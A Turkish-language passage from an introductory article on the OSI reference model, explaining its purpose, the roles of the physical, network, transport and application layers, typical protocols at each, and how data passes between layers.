verinin uygun bir formatta sunulmasını sağlar. Uygulama Katmanı ise, kullanıcıların ağ hizmetlerine erişimini sağlar. OSI Modelinin Önemi OSI modeli, ağ bileşenlerinin nasıl haberleştiklerini tanımlar ve bir bilginin hazırlandıktan sonra ağ ortamından geçerek başka bir bilgisayarda nasıl görüntülendiğini tanımlar. OSI modeli, ağ yapısını anlamamızı sağlayan ve ağ yapısını parçalayarak incelememize olanak sağlayan bir modeldir. OSI modeli, iki bilgisayar arasındaki iletişimin nasıl gerçekleşeceğini tanımlayan mantıksal bir modeldir. Farklı üreticilere sahip ağların kendi içlerinde ve diğer ağlarla iletişim kurabilmesi ve veri alışverişi yapabilmesi için OSI modeli kullanılır. Sonuç olarak, OSI Referans Modeli, ağ iletişimini düzenleyen ve standartlaştıran bir modeldir. Bu model, ağ iletişiminin daha düzenli ve verimli olmasını sağlar. OSI Modeli, network teknolojilerini ve protokollerini anlamak için bir temel sağlar. Her katman, belirli bir işlevi yerine getirir ve bir önceki katmanın sağladığı hizmetleri kullanır. Bu, network işlemlerinin daha yönetilebilir ve hata tespitinin daha kolay olmasını sağlar. Her bir katmanın da kendi içinde belirli protokolleri vardır ve bu protokoller o katmanın işlevlerini gerçekleştirir. Örneğin, Taşıma Katmanı'nda TCP ve UDP gibi protokoller, veri akışını kontrol eder ve verinin doğru bir şekilde iletilmesini sağlar. Ağ Katmanı'nda ise IP protokolü, verinin hangi yolu izleyerek hedefe ulaşacağını belirler. Ayrıca, OSI Modeli'nin en altındaki Fiziksel Katman, verinin fiziksel ortamda iletilmesinden sorumludur. Yani, kablolama, voltajlar, pinler, hublar, switchler, modemler gibi fiziksel elemanlar bu katman tarafından kontrol edilir. Öte yandan, en üstteki Uygulama Katmanı, kullanıcının ağ hizmetlerine erişimini sağlar. HTTP, FTP, SMTP, POP3, DNS gibi birçok protokol bu katmanda yer alır. Bu katman, kullanıcının uygulama yazılımlarının (web tarayıcılar, e-posta istemcileri vb.) ağ hizmetlerine erişimini sağlar. Her bir katmanın belirli işlevleri olmasının yanı sıra, bu katmanlar arasında belirli bir ilişki de vardır. Yani, bir üst katmandaki veri, bir alt katmana indirilirken belirli bir işleme tabi tutulur ve bu işlem, her katmanda tekrarlanır. Bu durum, verinin hedefe ulaşmasını sağlar.